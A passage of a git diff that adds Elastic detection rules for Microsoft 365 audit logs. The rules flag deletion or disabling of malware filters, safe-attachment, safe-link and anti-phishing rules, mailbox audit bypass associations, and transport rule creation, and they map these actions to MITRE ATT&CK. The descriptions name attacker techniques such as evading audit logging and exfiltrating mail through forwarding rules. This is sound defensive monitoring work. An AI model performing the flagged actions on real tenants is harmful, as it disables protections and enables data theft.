behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Malware Filter Policy Deletion" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterpolicy?view=exchange-ps", +] +risk_score = 47 +rule_id = "d743ff2a-203e-4a46-a3e3-40512cfe8fbb" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-MalwareFilterPolicy" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_rule_mod.toml b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_rule_mod.toml new file mode 100644 index 000000000..2a9a65c2f --- /dev/null +++ b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_malware_filter_rule_mod.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a malware filter rule has been deleted or disabled in Microsoft 365. An adversary or insider threat may +want to modify a malware filter rule to evade detection. +""" +false_positives = [ + """ + A malware filter rule may be deleted by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Malware Filter Rule Modification" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-malwarefilterrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/disable-malwarefilterrule?view=exchange-ps", +] +risk_score = 47 +rule_id = "ca79768e-40e1-4e45-a097-0e5fbc876ac2" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-MalwareFilterRule" or "Disable-MalwareFilterRule") and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/o365/defense_evasion_microsoft_365_exchange_safe_attach_rule_disabled.toml b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_safe_attach_rule_disabled.toml new file mode 100644 index 000000000..eae6a21df --- /dev/null +++ b/rules/integrations/o365/defense_evasion_microsoft_365_exchange_safe_attach_rule_disabled.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware +protections to include routing all messages and attachments without a known malware signature to a special hypervisor +environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. +""" +false_positives = [ + """ + A safe attachment rule may be disabled by a system or network administrator. Verify that the configuration change + was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Safe Attachment Rule Disabled" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safeattachmentrule?view=exchange-ps", +] +risk_score = 21 +rule_id = "03024bd9-d23f-4ec1-8674-3cf1a21e130b" +severity = "low" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeAttachmentRule" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/o365/defense_evasion_microsoft_365_mailboxauditbypassassociation.toml b/rules/integrations/o365/defense_evasion_microsoft_365_mailboxauditbypassassociation.toml new file mode 100644 index 000000000..e7c2d01fa --- /dev/null +++ b/rules/integrations/o365/defense_evasion_microsoft_365_mailboxauditbypassassociation.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2022/01/13" +integration = "o365" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Detects the occurrence of mailbox audit bypass associations. The mailbox audit is responsible for logging specified +mailbox events (like accessing a folder or a message or permanently deleting a message). However, actions taken by some +authorized accounts, such as accounts used by third-party tools or accounts used for lawful monitoring, can create a +large number of mailbox audit log entries and may not be of interest to your organization. Because of this, +administrators can create bypass associations, allowing certain accounts to perform their tasks without being logged. +Attackers can abuse this allowlist mechanism to conceal actions taken, as the mailbox audit will log no activity done by +the account. +""" +false_positives = ["Legitimate allowlisting of noisy accounts"] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "O365 Mailbox Audit Logging Bypass" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://twitter.com/misconfig/status/1476144066807140355", +] +risk_score = 47 +rule_id = "675239ea-c1bc-4467-a6d3-b9e2cc7f676d" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.action:Set-MailboxAuditBypassAssociation and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + [[rule.threat.technique.subtechnique]] + id = "T1562.001" + name = "Disable or Modify Tools" + reference = "https://attack.mitre.org/techniques/T1562/001/" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_creation.toml b/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_creation.toml new file mode 100644 index 000000000..71a9478f2 --- /dev/null +++ b/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_creation.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/28" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should +not be set to forward email to domains outside of your organization. An adversary may create transport rules to +exfiltrate data. +""" +false_positives = [ + """ + A new transport rule may be created by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Transport Rule Creation" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/new-transportrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules", +] +risk_score = 47 +rule_id = "ff4dd44a-0ac6-44c4-8609-3f81bc820f02" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-TransportRule" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1537" +name = "Transfer Data to Cloud Account" +reference = "https://attack.mitre.org/techniques/T1537/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_mod.toml b/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_mod.toml new file mode 100644 index 000000000..dd5328a2c --- /dev/null +++ b/rules/integrations/o365/exfiltration_microsoft_365_exchange_transport_rule_mod.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport +rules) are used to identify and take action on messages that flow through your organization. An adversary or insider +threat may modify a transport rule to exfiltrate data or evade defenses. +""" +false_positives = [ + """ + A transport rule may be modified by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Transport Rule Modification" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-transportrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/disable-transportrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules", +] +risk_score = 47 +rule_id = "272a6484-2663-46db-a532-ef734bf9a796" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-TransportRule" or "Disable-TransportRule") and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1537" +name = "Transfer Data to Cloud Account" +reference = "https://attack.mitre.org/techniques/T1537/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/o365/impact_microsoft_365_mass_download_by_a_single_user.toml b/rules/integrations/o365/impact_microsoft_365_mass_download_by_a_single_user.toml new file mode 100644 index 000000000..627d4eb2b --- /dev/null +++ b/rules/integrations/o365/impact_microsoft_365_mass_download_by_a_single_user.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2021/07/15" +maturity = "development" +updated_date = "2021/10/13" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when Microsoft Cloud App Security reports that a single user performs more than 50 downloads within 1 minute. +""" +false_positives = ["Unknown"] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Mass download by a single user" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. +""" +references = [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", +] +risk_score = 47 +rule_id = "571ff456-aa7f-4e48-8a88-39698bb5418f" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Mass download by a single user" and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" +id = "TA0010" diff --git a/rules/integrations/o365/impact_microsoft_365_potential_ransomware_activity.toml b/rules/integrations/o365/impact_microsoft_365_potential_ransomware_activity.toml new file mode 100644 index 000000000..291d86c6c --- /dev/null +++ b/rules/integrations/o365/impact_microsoft_365_potential_ransomware_activity.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2021/07/15" +maturity = "production" +updated_date = "2021/10/05" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when Microsoft Cloud App Security reports that a user has uploaded files to the cloud that might be infected +with ransomware. +""" +false_positives = [ + """ + If Cloud App Security identifies, for example, a high rate of file uploads or file deletion activities it may represent an adverse + encryption process. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Potential ransomware activity" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. +""" +references = [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", +] +risk_score = 47 +rule_id = "721999d0-7ab2-44bf-b328-6e63367b9b29" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Potential ransomware activity" and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Data Encrypted for Impact" +reference = "https://attack.mitre.org/techniques/T1486/" +id = "T1486" + + +[rule.threat.tactic] +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +id = "TA0040" diff --git a/rules/integrations/o365/impact_microsoft_365_unusual_volume_of_file_deletion.toml b/rules/integrations/o365/impact_microsoft_365_unusual_volume_of_file_deletion.toml new file mode 100644 index 000000000..d5d187b11 --- /dev/null +++ b/rules/integrations/o365/impact_microsoft_365_unusual_volume_of_file_deletion.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2021/07/15" +maturity = "production" +updated_date = "2021/07/15" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies that a user has deleted an unusually large volume of files as reported by Microsoft Cloud App Security. +""" +false_positives = ["Users or System Administrator cleaning out folders."] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Unusual Volume of File Deletion" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. +""" +references = [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", +] +risk_score = 47 +rule_id = "b2951150-658f-4a60-832f-a00d1e6c6745" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Unusual volume of file deletion" and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" +id = "T1485" + +[rule.threat.tactic] +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +id = "TA0040" diff --git a/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_policy_deletion.toml b/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_policy_deletion.toml new file mode 100644 index 000000000..bc158cc46 --- /dev/null +++ b/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_policy_deletion.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in +features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining +settings to better detect and prevent attacks. +""" +false_positives = [ + """ + An anti-phishing policy may be deleted by a system or network administrator. Verify that the configuration change + was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Anti-Phish Policy Deletion" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishpolicy?view=exchange-ps", + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/set-up-anti-phishing-policies?view=o365-worldwide", +] +risk_score = 47 +rule_id = "d68eb1b5-5f1c-4b6d-9e63-5b6b145cd4aa" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-AntiPhishPolicy" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_rule_mod.toml b/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_rule_mod.toml new file mode 100644 index 000000000..486976225 --- /dev/null +++ b/rules/integrations/o365/initial_access_microsoft_365_exchange_anti_phish_rule_mod.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies the modification of an anti-phishing rule in Microsoft 365. By default, Microsoft 365 includes built-in +features that help protect users from phishing attacks. Anti-phishing rules increase this protection by refining +settings to better detect and prevent attacks. +""" +false_positives = [ + """ + An anti-phishing rule may be deleted by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Anti-Phish Rule Modification" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/powershell/module/exchange/disable-antiphishrule?view=exchange-ps", +] +risk_score = 47 +rule_id = "97314185-2568-4561-ae81-f3e480e5e695" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-AntiPhishRule" or "Disable-AntiPhishRule") and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/o365/initial_access_microsoft_365_exchange_safelinks_disabled.toml b/rules/integrations/o365/initial_access_microsoft_365_exchange_safelinks_disabled.toml new file mode 100644 index 000000000..95a4a827a --- /dev/null +++ b/rules/integrations/o365/initial_access_microsoft_365_exchange_safelinks_disabled.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "o365" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend +phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. +""" +false_positives = [ + """ + Disabling safe links may be done by a system or network administrator. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Exchange Safe Link Policy Disabled" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safelinksrule?view=exchange-ps", + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/atp-safe-links?view=o365-worldwide", +] +risk_score = 47 +rule_id = "a989fa1b-9a11-4dd8-a3e9-f0de9c6eb5f2" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeLinksRule" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/o365/initial_access_microsoft_365_impossible_travel_activity.toml b/rules/integrations/o365/initial_access_microsoft_365_impossible_travel_activity.toml new file mode 100644 index 000000000..a4439500c --- /dev/null +++ b/rules/integrations/o365/initial_access_microsoft_365_impossible_travel_activity.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/07/15" +maturity = "development" +updated_date = "2021/10/05" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an +impossible travel. +""" +false_positives = ["User using a VPN may lead to false positives."] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 Impossible travel activity" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. +""" +references = [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", +] +risk_score = 47 +rule_id = "9c49fe22-4e86-4384-a9a0-602f4d54088d" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"Impossible travel activity" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +id = "T1078" + + +[rule.threat.tactic] +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +id = "TA0001" diff --git a/rules/integrations/o365/initial_access_microsoft_365_user_restricted_from_sending_email.toml b/rules/integrations/o365/initial_access_microsoft_365_user_restricted_from_sending_email.toml new file mode 100644 index 000000000..77578bbb2 --- /dev/null +++ b/rules/integrations/o365/initial_access_microsoft_365_user_restricted_from_sending_email.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/07/15" +maturity = "production" +updated_date = "2021/10/05" +integration = "o365" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when a user has been restricted from sending email due to exceeding sending limits of the service policies per the Security Compliance Center. +""" +false_positives = ["A user sending emails using personal distribution folders may trigger the event."] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "Microsoft 365 User Restricted from Sending Email" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. +""" +references = [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", +] +risk_score = 47 +rule_id = "0136b315-b566-482f-866c-1d8e2477ba16" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.category:web and event.action:"User restricted from sending email" and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" +id = "T1078" + + +[rule.threat.tactic] +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +id = "TA0001" diff --git a/rules/integrations/o365/initial_access_o365_user_reported_phish_malware.toml b/rules/integrations/o365/initial_access_o365_user_reported_phish_malware.toml new file mode 100644 index 000000000..32eb0b2df --- /dev/null +++ b/rules/integrations/o365/initial_access_o365_user_reported_phish_malware.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2022/01/12" +integration = "o365" +maturity = "production" +updated_date = "2022/01/12" + +[rule] +author = ["Elastic"] +description = """ +Detects the occurrence of emails reported as Phishing or Malware by Users. Security Awareness training is essential to +stay ahead of scammers and threat actors, as security products can be bypassed, and the user can still receive a +malicious message. Educating users to report suspicious messages can help identify gaps in security controls and prevent +malware infections and Business Email Compromise attacks. +""" +false_positives = ["Legitimate files reported by the users"] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "O365 Email Reported by User as Malware or Phish" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://support.microsoft.com/en-us/office/use-the-report-message-add-in-b5caa9f1-cdf3-4443-af8c-ff724ea719d2?ui=en-us&rs=en-us&ad=us", +] +risk_score = 47 +rule_id = "5930658c-2107-4afc-91af-e0e55b7f7184" +severity = "medium" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Initial Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:SecurityComplianceCenter and event.action:AlertTriggered and rule.name:"Email reported by user as malware or phish" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" + + [[rule.threat.technique.subtechnique]] + id = "T1566.001" + name = "Spearphishing Attachment" + reference = "https://attack.mitre.org/techniques/T1566/001/" + + [[rule.threat.technique.subtechnique]] + id = "T1566.002" + name = "Spearphishing Link" + reference = "https://attack.mitre.org/techniques/T1566/002/" + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/o365/lateral_movement_malware_uploaded_onedrive.toml b/rules/integrations/o365/lateral_movement_malware_uploaded_onedrive.toml new file mode 100644 index 000000000..b39b51e49 --- /dev/null +++ b/rules/integrations/o365/lateral_movement_malware_uploaded_onedrive.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/01/10" +integration = "o365" +maturity = "production" +updated_date = "2022/01/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies the occurence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers +can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. +Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunity to gain +initial access to other endpoints in the environment. +""" +false_positives = ["Benign files can trigger signatures in the built-in virus protection"] +from = "now-30m" +index = ["filebeat-*", "logs-o365*"] +language = "kuery" +license = "Elastic License v2" +name = "OneDrive Malware File Upload" +note = """## Config + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide", +] +risk_score = 73 +rule_id = "bba1b212-b85c-41c6-9b28-be0e5cdfc9b1" +severity = "high" +tags = ["Elastic", "Cloud", "Microsoft 365", "Continuous Monitoring", "SecOps", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:o365.audit and event.provider:OneDrive and event.code:SharePointFileOperation and event.action:FileMalwareDetected +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1080" +name = "Taint Shared Content" +reference = "https://attack.mitre.org/techniques/T1080/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/integrations/o365/lateral_movement_malware_uploaded_sharepoint.toml b/rules/integrations/o365/lateral_movement_malware_uploaded_sharepoint.toml new file mode 100644 index 000000000..c8e7dd095 --- /dev/null +++ b/rules/integrations/o365/lateral_movement_malware_uploaded_sharepoint.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2022/01/10" +integration = "o365" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the occurence of files uploaded to SharePoint being detected as Malware by the file scanning engine. Attackers +can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. +Users can inadvertently share these 